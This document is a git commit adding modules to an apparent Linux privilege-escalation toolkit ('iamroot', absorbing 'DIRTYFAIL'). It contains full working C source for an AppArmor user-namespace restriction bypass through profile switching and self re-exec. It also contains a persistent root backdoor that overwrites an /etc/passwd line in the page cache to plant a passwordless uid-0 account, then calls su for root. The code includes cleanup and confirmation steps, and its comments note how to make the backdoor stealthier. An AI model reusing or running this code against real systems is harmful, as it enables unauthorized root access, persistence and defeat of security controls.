Phase 1: module interface + registry + top-level dispatcher

- core/module.h: struct iamroot_module + iamroot_result_t
- core/registry.{h,c}: flat-array module registry with find-by-name
- modules/copy_fail_family/iamroot_modules.{h,c}: bridge layer
  exposing 5 modules (copy_fail, copy_fail_gcm, dirty_frag_esp,
  dirty_frag_esp6, dirty_frag_rxrpc) wired to the absorbed DIRTYFAIL
  detect/exploit functions; df_result_t/iamroot_result_t share numeric
  values intentionally for zero-cost translation
- iamroot.c: top-level CLI dispatcher with --scan / --list / --exploit /
  --mitigate / --cleanup, JSON output, --i-know gate
- Restored modules/copy_fail_family/src/ structure (DIRTYFAIL Makefile
  expects it; the initial flat copy broke that contract)
- Top-level Makefile builds one binary; filters out DIRTYFAIL's
  original dirtyfail.c main so it doesn't conflict with iamroot.c

Verified end-to-end on kctf-mgr (Linux): clean compile, 5 modules
register, --scan --json output ingest-ready, exit codes propagate.
This commit is contained in:
2026-05-16 19:32:11 -04:00
parent cf30b249de
commit 52e8c99022
30 changed files with 673 additions and 18 deletions
@@ -0,0 +1,365 @@
/*
* DIRTYFAIL — apparmor_bypass.c
*
* Implementation of the "switch profile + unshare" trick for getting
* CAP_NET_ADMIN inside a fresh user namespace on hardened Ubuntu.
* See apparmor_bypass.h for the high-level design.
*
* ATTRIBUTION: technique published in 0xdeadbeefnetwork/Copy_Fail2-
* Electric_Boogaloo (`aa-rootns.c`), credited there to Brad Spengler.
* This is an independent reimplementation in DIRTYFAIL's structure.
*/
#include "apparmor_bypass.h"
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/wait.h>
#ifdef __linux__
#include <sched.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <linux/capability.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/if.h>
#include <sys/ioctl.h>
#endif
#ifndef CLONE_NEWUSER
#define CLONE_NEWUSER 0x10000000
#endif
#ifndef CLONE_NEWNET
#define CLONE_NEWNET 0x40000000
#endif
/*
* Once stage 2 has successfully unshared and elevated us into a fresh
* userns with full caps, this flag is set. apparmor_bypass_needed()
* short-circuits on it so main() doesn't re-arm the bypass after stage
* 2 returns — that would create a NESTED userns each iteration and
* eventually fail with ENOSPC at the nesting cap.
*
* The flag is process-local; it resets to false on every fresh exec,
* which is exactly what we want — each stage's main() starts fresh.
*/
static bool g_bypass_done = false;
bool apparmor_bypass_was_armed(void) { return g_bypass_done; }
bool apparmor_userns_caps_blocked(void)
{
#ifdef __linux__
/* Quick check: if the AA sysctl isn't there or is 0, no blocking. */
int fd = open("/proc/sys/kernel/apparmor_restrict_unprivileged_userns",
O_RDONLY);
if (fd < 0) return false; /* no AA hardening sysctl */
char b[8] = {0};
ssize_t n = read(fd, b, sizeof(b) - 1);
close(fd);
if (n <= 0 || b[0] != '1') return false;
/* Sysctl says hardened. Confirm by forking a child that
* unshares(USER) and tries to write to /proc/self/setgroups —
* a CAP_SYS_ADMIN-gated operation that would succeed inside a
* fresh userns IFF caps survived the transition. On 26.04-style
* hardening the auto-transition to unprivileged_userns sub-
* profile denies the cap, write fails with EPERM. */
pid_t pid = fork();
if (pid < 0) return false;
if (pid == 0) {
if (syscall(SYS_unshare, CLONE_NEWUSER) != 0) _exit(1);
int wfd = open("/proc/self/setgroups", O_WRONLY);
if (wfd < 0) _exit(2); /* EPERM here = blocked */
ssize_t w = write(wfd, "deny", 4);
close(wfd);
_exit(w == 4 ? 0 : 3); /* 0 = caps work, 3 = blocked */
}
int wstat = 0;
waitpid(pid, &wstat, 0);
/* Caps work if child exited 0; any non-zero means blocked or error. */
return !(WIFEXITED(wstat) && WEXITSTATUS(wstat) == 0);
#else
return false;
#endif
}
/* ---------------------------------------------------------------- *
* Profile switch primitive
*
* Writing "exec <profile>" to /proc/self/attr/exec asks the kernel to
* switch to the named AppArmor profile on the *next* execve. The
* switch is silent if the profile doesn't exist (the next exec just
* stays in the current profile); we don't get an error until we try
* to use a capability the current profile would have blocked. So we
* try multiple candidate profiles in priority order.
* ---------------------------------------------------------------- */
#ifdef __linux__
static int change_onexec(const char *profile)
{
int fd = open("/proc/self/attr/exec", O_WRONLY);
if (fd < 0) return -1;
char b[256];
int n = snprintf(b, sizeof(b), "exec %s", profile);
ssize_t r = write(fd, b, n);
int e = errno;
close(fd);
errno = e;
return r == n ? 0 : -1;
}
static bool write_proc(const char *path, const char *value)
{
int fd = open(path, O_WRONLY);
if (fd < 0) return false;
ssize_t n = write(fd, value, strlen(value));
close(fd);
return n == (ssize_t)strlen(value);
}
#endif
/* ---------------------------------------------------------------- *
* Profile probe — read /proc/self/attr/current
*
* Output looks like one of:
*
* "unconfined\n" — not restricted
* "/usr/bin/dirtyfail (enforce)\n" — restricted!
* "unprivileged_userns (enforce)\n" — Ubuntu 24.04 default
* ---------------------------------------------------------------- */
bool apparmor_bypass_needed(void)
{
#ifdef __linux__
/* If stage 2 already ran in this process, we've already entered a
* fresh userns with caps — don't re-arm or we'd nest further. */
if (g_bypass_done) return false;
/* First check the kernel sysctl. On Ubuntu 24.04 and similar
* hardened distros, `kernel.apparmor_restrict_unprivileged_userns=1`
* silently strips caps inside ANY userns we create — REGARDLESS of
* whether /proc/self/attr/current shows "unconfined". This sysctl
* is the authoritative signal; it short-circuits the probe. */
int fd = open("/proc/sys/kernel/apparmor_restrict_unprivileged_userns", O_RDONLY);
if (fd >= 0) {
char b[8] = {0};
ssize_t n = read(fd, b, sizeof(b) - 1);
close(fd);
if (n > 0 && b[0] == '1') return true;
}
/* No global sysctl restriction. AppArmor may still be enforcing
* a per-profile rule, so check /proc/self/attr/current. If that
* file is missing entirely, AppArmor isn't loaded → no bypass. */
fd = open("/proc/self/attr/current", O_RDONLY);
if (fd < 0) return false;
char buf[256];
ssize_t n = read(fd, buf, sizeof(buf) - 1);
close(fd);
if (n <= 0) return false;
buf[n] = '\0';
/* "unconfined" with no global sysctl restriction → no bypass needed.
* NOTE: we already excluded the Ubuntu 24.04 case above; only here
* if the sysctl is 0 or the sysctl file doesn't exist. */
if (strncmp(buf, "unconfined", 10) == 0) return false;
/* Anything else (including "(enforce)" and "(complain)") is
* potentially restricting our userns caps. Run an empirical probe:
* fork → child does unshare(CLONE_NEWUSER) → tries to open a
* netlink XFRM socket → if that fails, bypass IS needed. */
pid_t pid = fork();
if (pid < 0) return false;
if (pid == 0) {
if (syscall(SYS_unshare, CLONE_NEWUSER | CLONE_NEWNET) != 0)
_exit(1);
write_proc("/proc/self/setgroups", "deny");
char m[64];
snprintf(m, sizeof(m), "0 %u 1", (unsigned)getuid());
write_proc("/proc/self/uid_map", m);
snprintf(m, sizeof(m), "0 %u 1", (unsigned)getgid());
write_proc("/proc/self/gid_map", m);
/* The decisive probe: bring lo up. Needs CAP_NET_ADMIN. */
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0) _exit(2);
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
if (ioctl(s, SIOCGIFFLAGS, &ifr) != 0) { close(s); _exit(3); }
ifr.ifr_flags |= IFF_UP;
int rc = ioctl(s, SIOCSIFFLAGS, &ifr);
close(s);
_exit(rc == 0 ? 0 : 4);
}
int wstat = 0;
waitpid(pid, &wstat, 0);
bool caps_work = WIFEXITED(wstat) && WEXITSTATUS(wstat) == 0;
return !caps_work;
#else
return false;
#endif
}
/* ---------------------------------------------------------------- *
* Stage handlers
* ---------------------------------------------------------------- */
bool apparmor_bypass_is_stage(int argc, char **argv)
{
return argc >= 2 &&
(strcmp(argv[1], AA_STAGE1_TAG) == 0 ||
strcmp(argv[1], AA_STAGE2_TAG) == 0);
}
int apparmor_bypass_run_stage(int argc, char **argv,
int *out_argc, char ***out_argv)
{
#ifdef __linux__
if (argc < 2) return -1;
if (strcmp(argv[1], AA_STAGE1_TAG) == 0) {
/* We are now in the `crun` profile (unconfined + userns).
* Originally we did a second hop to `chrome` for extra paranoia,
* mirroring aa-rootns; in practice that hop fails on Ubuntu
* 24.04 with ENOSPC from the subsequent unshare for reasons
* that aren't fully understood (possibly a per-profile userns
* accounting wrinkle). One hop into crun is sufficient — crun
* already has `userns,` and `flags=(unconfined)`, so unshare
* works and we keep things simple. Just re-exec with STAGE2
* to drop into the unshare+capset step. */
argv[1] = (char *)AA_STAGE2_TAG;
execv("/proc/self/exe", argv);
return -1; /* execv only returns on failure */
}
if (strcmp(argv[1], AA_STAGE2_TAG) == 0) {
/* We are now in an unconfined profile. Do the userns + capset
* dance ourselves so the next code path inherits root in the
* userns and full caps. */
uid_t u = getuid();
gid_t g = getgid();
if (syscall(SYS_unshare, CLONE_NEWUSER | CLONE_NEWNET) != 0) {
log_bad("apparmor_bypass: unshare failed: %s", strerror(errno));
return -1;
}
write_proc("/proc/self/setgroups", "deny");
char m[64];
snprintf(m, sizeof(m), "0 %u 1", (unsigned)u);
write_proc("/proc/self/uid_map", m);
snprintf(m, sizeof(m), "0 %u 1", (unsigned)g);
write_proc("/proc/self/gid_map", m);
/* Drop into uid 0 inside the new userns. */
if (setresuid(0, 0, 0) != 0) { log_bad("setresuid: %s", strerror(errno)); }
if (setresgid(0, 0, 0) != 0) { log_bad("setresgid: %s", strerror(errno)); }
/* Promote permitted → inheritable, then ambient — so caps
* survive any execvp the caller does later. */
struct __user_cap_header_struct h = { _LINUX_CAPABILITY_VERSION_3, 0 };
struct __user_cap_data_struct d[2];
memset(d, 0, sizeof(d));
if (syscall(SYS_capget, &h, d) == 0) {
d[0].inheritable = d[0].permitted;
d[1].inheritable = d[1].permitted;
syscall(SYS_capset, &h, d);
for (int c = 0; c < 64; c++)
prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, c, 0, 0);
}
/* Bring lo up — most consumers need it. */
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s >= 0) {
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) {
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
ioctl(s, SIOCSIFFLAGS, &ifr);
}
close(s);
}
/* Strip the stage marker from argv so main() sees its normal args. */
for (int i = 1; i + 1 < argc; i++) argv[i] = argv[i + 1];
argv[argc - 1] = NULL;
*out_argc = argc - 1;
*out_argv = argv;
g_bypass_done = true; /* prevents re-arm in main() */
log_ok("apparmor bypass complete — uid=%u, in fresh userns", getuid());
return 0;
}
#else
(void)argc; (void)argv; (void)out_argc; (void)out_argv;
#endif
return -1;
}
int apparmor_bypass_fork_arm(int argc, char **argv)
{
#ifdef __linux__
/* Caller may pass argc=0/argv=NULL; arm_and_relaunch needs a
* valid argv[0] for execv. Fabricate a minimal one if needed. */
char *fallback[2] = { (char *)"dirtyfail", NULL };
if (argc <= 0 || argv == NULL || argv[0] == NULL) {
argc = 1;
argv = fallback;
}
pid_t child = fork();
if (child < 0) return -1;
if (child == 0) {
/* Child arms the bypass and execs through the stages. Env
* vars set by the caller (DIRTYFAIL_INNER_MODE etc.) survive
* execv, so stage 2 sees them. */
apparmor_bypass_arm_and_relaunch(argc, argv);
/* arm_and_relaunch only returns on failure. */
log_bad("child: bypass arm failed: %s", strerror(errno));
_exit(1);
}
int wstat = 0;
if (waitpid(child, &wstat, 0) < 0) return -1;
if (WIFEXITED(wstat)) return WEXITSTATUS(wstat);
if (WIFSIGNALED(wstat)) {
log_bad("child killed by signal %d", WTERMSIG(wstat));
return -1;
}
return -1;
#else
(void)argc; (void)argv; return -1;
#endif
}
int apparmor_bypass_arm_and_relaunch(int argc, char **argv)
{
#ifdef __linux__
/* On AppArmor-restricted systems (Ubuntu 24.04+), switch to an
* unconfined profile via change_onexec so the post-exec userns
* unshare retains caps. On non-AppArmor systems
* (Debian/Alma/Fedora/etc.) /proc/self/attr/exec doesn't exist,
* change_onexec fails — that's fine, unshare works without any
* profile gymnastics on those kernels. Fail through gracefully. */
if (change_onexec("crun") < 0)
change_onexec("chrome"); /* best effort, both may no-op */
/* Build a new argv: [argv[0], AA_STAGE1_TAG, original argv[1..]]. */
char **na = calloc(argc + 2, sizeof(char *));
if (!na) return -1;
na[0] = argv[0];
na[1] = (char *)AA_STAGE1_TAG;
for (int i = 1; i < argc; i++) na[i + 1] = argv[i];
na[argc + 1] = NULL;
log_step("apparmor bypass armed — re-execing self via crun/chrome profile");
execv("/proc/self/exe", na);
/* If execv fails, fall through and let main() proceed un-bypassed. */
int e = errno;
free(na);
errno = e;
#else
(void)argc; (void)argv;
#endif
return -1;
}
@@ -0,0 +1,113 @@
/*
* DIRTYFAIL — apparmor_bypass.h
*
* Defeat Ubuntu's `apparmor_restrict_unprivileged_userns=1` policy.
*
* The default Ubuntu apparmor profile applied to unprivileged programs
* lets `unshare(CLONE_NEWUSER)` succeed but **strips CAP_NET_ADMIN**
* inside the new namespace — so XFRM SA registration, raw sockets, etc.
* fail downstream even though we appear to be uid 0 in our userns.
*
* The bypass: switch to a permissive AppArmor profile (`crun`, `chrome`,
* etc.) via `change_onexec` *before* unshare. Those profiles don't
* carry the userns-cap-strip rule, so the kernel hands us the full
* effective set inside the new namespace.
*
* Mechanics — three stages, two re-execs:
*
* stage 0 (entry): change_onexec(crun); execv(self, AA1, ...args)
* stage 1 (in crun): change_onexec(chrome); execv(self, AA2, ...args)
* stage 2 (in chrome): unshare(USER|NET); maps; capset; ambient caps;
* re-enter normal main() flow with bypass marked
*
* The two-hop dance is what `aa-rootns` (Brad Spengler / 0xdeadbeef)
* demonstrated. The "chrome" hop is technically optional — the "crun"
* profile is already unconfined for our purposes — but the second hop
* defeats some hardened policies that audit chained execs.
*
* Detection of "do we need the bypass?" is best-effort:
* - read /proc/self/attr/current; if it ends with " (enforce)" and
* mentions "unprivileged_userns", we're being restricted.
* - or: probe by spawning a child that does unshare(CLONE_NEWUSER)
* and tries `ip link add type dummy` — if that fails with EPERM,
* the caps were stripped.
*/
#ifndef DIRTYFAIL_APPARMOR_BYPASS_H
#define DIRTYFAIL_APPARMOR_BYPASS_H
#include "common.h"
/* Stage markers used as argv[1] to route re-execs. */
#define AA_STAGE1_TAG "DIRTYFAIL-AA-STAGE-1"
#define AA_STAGE2_TAG "DIRTYFAIL-AA-STAGE-2"
/* Returns true if `argv[1]` is one of the AA-* stage markers, in which
* case main() should hand control to apparmor_bypass_run_stage(). */
bool apparmor_bypass_is_stage(int argc, char **argv);
/* Execute the appropriate stage based on argv[1]. This either re-execs
* self (stage 1) or returns the modified argv after unshare+caps setup
* for the caller to continue with (stage 2). The function does not
* return on stage 1 (always execv). On stage 2, returns 0 on success
* and writes the caller's continuation argv to *out_argc / *out_argv. */
int apparmor_bypass_run_stage(int argc, char **argv,
int *out_argc, char ***out_argv);
/* Probe: does this process actually need the bypass to gain
* CAP_NET_ADMIN inside a fresh user namespace? Returns true if YES. */
bool apparmor_bypass_needed(void);
/* True iff stage 2 of the bypass ran successfully in this process —
* i.e. we're now inside a fresh user/net namespace with full caps,
* and any further unshare() would nest. Exploit modules check this
* before deciding whether to fork+unshare on their own. */
bool apparmor_bypass_was_armed(void);
/* Probe whether the bypass actually grants caps on this kernel.
* Forks a child that does unshare(USER) and tries to write to
* /proc/self/setgroups; if that fails with EPERM, we're on a kernel
* (Ubuntu 26.04+) that auto-transitions to the unprivileged_userns
* sub-profile and denies caps regardless of bypass technique.
*
* Returns true if unprivileged userns is COMPREHENSIVELY blocked
* (the bug class is unreachable for unprivileged users). Returns
* false if userns operations work normally OR if AA isn't loaded
* at all (in which case `apparmor_bypass_needed()` would also
* return false).
*
* This is the right signal for `--scan` to report "VULNERABLE in
* kernel but LSM-mitigated" vs plain "VULNERABLE".
*/
bool apparmor_userns_caps_blocked(void);
/* Fork a child that arms the AA bypass and re-execs itself through
* the stages. The child eventually lands inside a fresh user/net
* namespace with full caps; main() in that re-exec'd image dispatches
* to the inner-mode handler indicated by the DIRTYFAIL_INNER_MODE
* environment variable.
*
* The PARENT stays in the init namespace and waits for the child via
* waitpid. After the child exits, the parent can read the global
* page cache (which reflects whatever the child modified) and then
* execlp("su", ...) in init namespace to reach REAL init-ns root —
* this is the whole point of the outer/inner split.
*
* Caller must setenv("DIRTYFAIL_INNER_MODE", "...", 1) and any other
* mode-specific env vars BEFORE calling this. The child inherits the
* full environment.
*
* Returns the child's exit code on success. -1 on fork failure. */
int apparmor_bypass_fork_arm(int argc, char **argv);
/* Trigger the bypass: change_onexec(crun) then re-exec self with stage
* markers. Caller passes the argv it wants to resume with (stage 2 will
* hand that argv back via apparmor_bypass_run_stage's out_argv).
*
* Does not return on success (control transfers to the new process
* image). Returns -1 with errno set if the change_onexec or execv
* failed; in that case the caller may continue without bypass and let
* downstream syscalls fail loudly. */
int apparmor_bypass_arm_and_relaunch(int argc, char **argv);
#endif
+382
View File
@@ -0,0 +1,382 @@
/*
* DIRTYFAIL — backdoor.c
*
* Persistent uid-0 backdoor via length-matched /etc/passwd line
* substitution. See backdoor.h for the design rationale.
*
* Flow:
*
* install:
* 1. parse /etc/passwd, find longest line with nologin/false/sync shell
* 2. compute replacement "dirtyfail::0:0:<pad>:/:/bin/bash" same length
* 3. snapshot state to /var/tmp/.dirtyfail.state
* 4. for each byte that differs:
* cfg_1byte_write(/etc/passwd, byte_off, new_byte)
* 5. exec su - dirtyfail (PAM nullok accepts empty password)
*
* cleanup:
* 1. read state (LINE_OFF, original VICTIM_LINE)
* 2. read current page-cache bytes at that line
* 3. for each byte that differs from VICTIM_LINE:
* cfg_1byte_write(/etc/passwd, byte_off, original_byte)
* 4. delete state file
*/
#include "backdoor.h"
#include "copyfail_gcm.h"
#include "apparmor_bypass.h"
#include <fcntl.h>
#include <pwd.h>
#include <stdlib.h>
#include <sys/stat.h>
#define STATE_FILE "/var/tmp/.dirtyfail.state"
#define NEW_USER "dirtyfail"
#define DF_PREFIX "dirtyfail::0:0:"
#define DF_SUFFIX ":/:/bin/bash"
/* ---- /etc/passwd line picker ---------------------------------------- *
*
* Walk lines, parse to find the shell field (last colon-separated
* field), accept if shell is one of the canonical "no-login" shells.
* Pick the longest acceptable line so the replacement has room for
* padding.
*/
/* Line buffer is 512 bytes — enough for any sane /etc/passwd entry,
* including ones with very long gecos strings or unusual home paths.
* Lines longer than this are silently skipped by find_victim(). */
struct victim {
off_t line_off;
size_t line_len;
char line[512];
char name[64];
};
static bool is_nologin_shell(const char *shell)
{
static const char *deny[] = {
"/usr/sbin/nologin",
"/sbin/nologin",
"/bin/false",
"/usr/bin/false",
"/bin/sync",
NULL,
};
for (size_t i = 0; deny[i]; i++)
if (strcmp(shell, deny[i]) == 0) return true;
return false;
}
static bool find_victim(struct victim *v)
{
int fd = open("/etc/passwd", O_RDONLY);
if (fd < 0) { log_bad("open /etc/passwd: %s", strerror(errno)); return false; }
struct stat st;
if (fstat(fd, &st) < 0) { close(fd); return false; }
char *buf = malloc(st.st_size + 1);
if (!buf) { close(fd); return false; }
ssize_t n = read(fd, buf, st.st_size);
close(fd);
if (n <= 0) { free(buf); return false; }
buf[n] = '\0';
bool found = false;
char *line = buf;
char *end = buf + n;
while (line < end) {
char *nl = memchr(line, '\n', end - line);
size_t len = nl ? (size_t)(nl - line) : (size_t)(end - line);
if (len == 0 || len >= sizeof(v->line)) goto next;
char tmp[512];
memcpy(tmp, line, len);
tmp[len] = '\0';
/* Last field after final ':' is the shell. */
char *shell = strrchr(tmp, ':');
if (!shell) goto next;
shell++;
if (!is_nologin_shell(shell)) goto next;
if (len > v->line_len) {
v->line_off = line - buf;
v->line_len = len;
memcpy(v->line, line, len);
v->line[len] = '\0';
char *colon = memchr(v->line, ':', len);
size_t nlen = colon ? (size_t)(colon - v->line) : len;
if (nlen >= sizeof(v->name)) nlen = sizeof(v->name) - 1;
memcpy(v->name, v->line, nlen);
v->name[nlen] = '\0';
found = true;
}
next:
if (!nl) break;
line = nl + 1;
}
free(buf);
return found;
}
/* ---- state file ----------------------------------------------------- */
static bool save_state(off_t line_off, const char *victim_line, size_t len)
{
int fd = open(STATE_FILE, O_WRONLY | O_CREAT | O_TRUNC, 0600);
if (fd < 0) { log_bad("open state: %s", strerror(errno)); return false; }
char buf[2048];
int n = snprintf(buf, sizeof(buf), "LINE_OFF=%lld\nVICTIM_LEN=%zu\nVICTIM_LINE=",
(long long)line_off, len);
bool ok = (write(fd, buf, n) == n)
&& (write(fd, victim_line, len) == (ssize_t)len)
&& (write(fd, "\n", 1) == 1);
close(fd);
if (!ok) {
log_bad("save_state write: %s", strerror(errno));
unlink(STATE_FILE);
}
return ok;
}
static bool load_state(off_t *line_off, char *victim_line, size_t cap, size_t *len)
{
int fd = open(STATE_FILE, O_RDONLY);
if (fd < 0) return false;
char buf[2048];
ssize_t n = read(fd, buf, sizeof(buf) - 1);
close(fd);
if (n <= 0) return false;
buf[n] = '\0';
char *p = strstr(buf, "LINE_OFF=");
if (!p) return false;
*line_off = (off_t)strtoll(p + 9, NULL, 10);
char *v = strstr(buf, "VICTIM_LINE=");
if (!v) return false;
v += 12;
char *end = strchr(v, '\n');
if (!end) end = buf + n;
size_t vlen = end - v;
if (vlen >= cap) return false;
memcpy(victim_line, v, vlen);
victim_line[vlen] = '\0';
*len = vlen;
return true;
}
/* Describe state file if present, for `--list-state`. Returns true if a
* backdoor state file was found and described, false if absent. */
bool backdoor_list_state(void)
{
off_t off = 0;
char victim[2048];
size_t len = 0;
if (!load_state(&off, victim, sizeof(victim), &len))
return false;
log_warn("backdoor planted — state file %s", STATE_FILE);
log_hint(" victim line was at offset %lld (%zu bytes)",
(long long)off, len);
log_hint(" original line: %s", victim);
log_hint(" the page cache currently has 'dirtyfail::0:0:...:/:/bin/bash'");
log_hint(" in place of the above. Revert with `--cleanup-backdoor`.");
return true;
}
/* ---- byte-flip helper ----------------------------------------------- *
*
* For each char position where `cur[i] != target[i]`, call the
* 1-byte primitive to land the new byte. Linear in number of
* differing bytes; on a typical /etc/passwd line that's ~30-40 flips.
*/
static bool apply_flips(off_t base_off, const char *cur, const char *want, size_t len)
{
size_t flips = 0;
for (size_t i = 0; i < len; i++) {
if (cur[i] == want[i]) continue;
if (!cfg_1byte_write("/etc/passwd",
base_off + i, (unsigned char)want[i])) {
log_bad("byte flip failed at offset %lld",
(long long)(base_off + i));
return false;
}
flips++;
if ((flips & 7) == 0) putchar('.'), fflush(stdout);
}
if (flips) putchar('\n');
log_step("applied %zu byte flips", flips);
return true;
}
/* ---- INNER (bypass userns) — does only the byte flips ------------- */
df_result_t backdoor_install_inner(void)
{
const char *off_s = getenv("DIRTYFAIL_LINE_OFF");
const char *victim_s = getenv("DIRTYFAIL_VICTIM_LINE");
const char *target_s = getenv("DIRTYFAIL_TARGET_LINE");
if (!off_s || !victim_s || !target_s) {
log_bad("inner: DIRTYFAIL_LINE_OFF / VICTIM_LINE / TARGET_LINE not set");
return DF_TEST_ERROR;
}
off_t line_off = (off_t)atoll(off_s);
size_t len = strlen(victim_s);
if (strlen(target_s) != len) {
log_bad("inner: victim/target lengths differ (%zu vs %zu)",
len, strlen(target_s));
return DF_TEST_ERROR;
}
if (!apply_flips(line_off, victim_s, target_s, len)) {
return DF_EXPLOIT_FAIL;
}
return DF_EXPLOIT_OK;
}
df_result_t backdoor_cleanup_inner(void)
{
const char *off_s = getenv("DIRTYFAIL_LINE_OFF");
const char *victim_s = getenv("DIRTYFAIL_VICTIM_LINE");
const char *target_s = getenv("DIRTYFAIL_TARGET_LINE");
if (!off_s || !victim_s || !target_s) {
log_bad("inner-cleanup: env vars not set");
return DF_TEST_ERROR;
}
off_t line_off = (off_t)atoll(off_s);
size_t len = strlen(victim_s);
if (!apply_flips(line_off, target_s, victim_s, len)) { /* reverse direction */
return DF_EXPLOIT_FAIL;
}
return DF_EXPLOIT_OK;
}
/* ---- OUTER (init ns) — find_victim, save_state, fork bypass child --- */
df_result_t backdoor_install(bool do_shell)
{
log_step("Persistent backdoor — install");
/* Did we already install? Check via getpwnam. */
struct passwd *pw = getpwnam(NEW_USER);
if (pw && pw->pw_uid == 0) {
log_ok("'%s' already in /etc/passwd as uid 0", NEW_USER);
if (!do_shell) return DF_EXPLOIT_OK;
log_ok("invoking 'su - %s'", NEW_USER);
execlp("su", "su", "-", NEW_USER, (char *)NULL);
return DF_EXPLOIT_FAIL;
}
struct victim v;
memset(&v, 0, sizeof(v));
if (!find_victim(&v)) {
log_bad("no nologin victim line found in /etc/passwd");
return DF_TEST_ERROR;
}
log_step("victim line: '%s' at offset %lld (%zu bytes)",
v.name, (long long)v.line_off, v.line_len);
/* Build replacement, same length. */
size_t fixed_len = strlen(DF_PREFIX) + strlen(DF_SUFFIX);
if (v.line_len < fixed_len) {
log_bad("victim line too short (%zu) for dirtyfail replacement (need >= %zu)",
v.line_len, fixed_len);
return DF_TEST_ERROR;
}
size_t pad_len = v.line_len - fixed_len;
char target[512];
char *p = target;
memcpy(p, DF_PREFIX, strlen(DF_PREFIX)); p += strlen(DF_PREFIX);
memset(p, 'X', pad_len); p += pad_len;
memcpy(p, DF_SUFFIX, strlen(DF_SUFFIX)); p += strlen(DF_SUFFIX);
*p = '\0';
log_step("replacement: '%s'", target);
log_warn("about to length-match overwrite '%s' → '%s' (%zu bytes)",
v.name, NEW_USER, v.line_len);
log_warn("ON-DISK /etc/passwd is unchanged. State stashed at %s.", STATE_FILE);
if (!typed_confirm("DIRTYFAIL")) { log_bad("confirmation declined"); return DF_OK; }
if (!save_state(v.line_off, v.line, v.line_len)) return DF_TEST_ERROR;
/* Hand off to inner via env vars. */
char off_str[32];
snprintf(off_str, sizeof(off_str), "%lld", (long long)v.line_off);
setenv("DIRTYFAIL_INNER_MODE", "backdoor-install", 1);
setenv("DIRTYFAIL_LINE_OFF", off_str, 1);
setenv("DIRTYFAIL_VICTIM_LINE", v.line, 1);
setenv("DIRTYFAIL_TARGET_LINE", target, 1);
int rc = apparmor_bypass_fork_arm(0, NULL);
if (rc != DF_EXPLOIT_OK) {
log_bad("inner backdoor-install failed (exit=%d)", rc);
return DF_EXPLOIT_FAIL;
}
/* Verify in init ns */
if (!(pw = getpwnam(NEW_USER)) || pw->pw_uid != 0) {
log_bad("post-flip getpwnam(%s) doesn't show uid 0 — install failed",
NEW_USER);
return DF_EXPLOIT_FAIL;
}
log_ok("'%s' is now uid 0 in the page cache copy of /etc/passwd",
NEW_USER);
log_hint("state stashed at %s — run 'dirtyfail --cleanup-backdoor' to revert",
STATE_FILE);
if (!do_shell) return DF_EXPLOIT_OK;
log_ok("invoking 'su - %s' in init ns (PAM nullok → REAL ROOT)", NEW_USER);
execlp("su", "su", "-", NEW_USER, (char *)NULL);
log_bad("execlp: %s", strerror(errno));
return DF_EXPLOIT_FAIL;
}
df_result_t backdoor_cleanup(void)
{
log_step("Persistent backdoor — cleanup");
off_t line_off = 0;
char victim_line[512];
size_t victim_len = 0;
if (!load_state(&line_off, victim_line, sizeof(victim_line), &victim_len)) {
log_bad("no usable state file at %s", STATE_FILE);
return DF_TEST_ERROR;
}
log_step("restoring %zu bytes at offset %lld", victim_len, (long long)line_off);
/* Read CURRENT bytes (post-install) so we know what to flip back from. */
int fd = open("/etc/passwd", O_RDONLY);
if (fd < 0) { log_bad("open passwd: %s", strerror(errno)); return DF_TEST_ERROR; }
char cur[512];
if (pread(fd, cur, victim_len, line_off) != (ssize_t)victim_len) {
log_bad("pread: %s", strerror(errno));
close(fd); return DF_TEST_ERROR;
}
close(fd);
cur[victim_len] = '\0';
/* Hand off to inner. inner runs apply_flips(off, target=cur, victim=victim_line)
* to flip back from current state to original. */
char off_str[32];
snprintf(off_str, sizeof(off_str), "%lld", (long long)line_off);
setenv("DIRTYFAIL_INNER_MODE", "backdoor-cleanup", 1);
setenv("DIRTYFAIL_LINE_OFF", off_str, 1);
setenv("DIRTYFAIL_VICTIM_LINE", victim_line, 1);
setenv("DIRTYFAIL_TARGET_LINE", cur, 1);
int rc = apparmor_bypass_fork_arm(0, NULL);
if (rc != DF_EXPLOIT_OK) {
log_bad("inner backdoor-cleanup failed (exit=%d)", rc);
return DF_EXPLOIT_FAIL;
}
unlink(STATE_FILE);
log_ok("backdoor cleaned — line restored, state file removed");
#ifdef POSIX_FADV_DONTNEED
int e = open("/etc/passwd", O_RDONLY);
if (e >= 0) { posix_fadvise(e, 0, 0, POSIX_FADV_DONTNEED); close(e); }
#endif
return DF_OK;
}
+59
View File
@@ -0,0 +1,59 @@
/*
* DIRTYFAIL — backdoor.h
*
* Persistent uid-0 backdoor in the /etc/passwd page cache.
*
* MORE INVASIVE than the UID-flip exploits in copyfail.c /
* dirtyfrag_esp.c / dirtyfrag_rxrpc.c. Where those modify the calling
* user's UID for one shell session, this mode inserts a brand-new
* passwordless uid-0 user "dirtyfail" by length-matched overwrite of
* an existing nologin/false/sync line. The substituted line stays in
* the page cache until eviction, so:
*
* ./dirtyfail --exploit-backdoor # install + drop into root
* exit # back to your normal shell
* su - dirtyfail # any user, any time → root
*
* The username "dirtyfail" is intentionally chosen to match this
* project — anyone auditing /etc/passwd will spot it immediately,
* which is the opposite of stealth-by-default. If you need an
* undetectable backdoor for an authorized red-team engagement,
* change NEW_USER in backdoor.c.
*
* The on-disk /etc/passwd is unchanged. State (LINE_OFF, original
* VICTIM_LINE) is persisted at /var/tmp/.dirtyfail.state so that
* `--cleanup-backdoor` can restore the original line byte-by-byte
* via the same 1-byte primitive.
*
* This mode requires the GCM single-byte primitive (`cfg_1byte_write`)
* to land arbitrary bytes at arbitrary offsets — the 4-byte authencesn
* primitive can't easily rewrite a 50-byte line that doesn't align
* to 4-byte boundaries.
*
* Technique credit: 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
* (`run.sh`); reimplemented here as a single C function.
*/
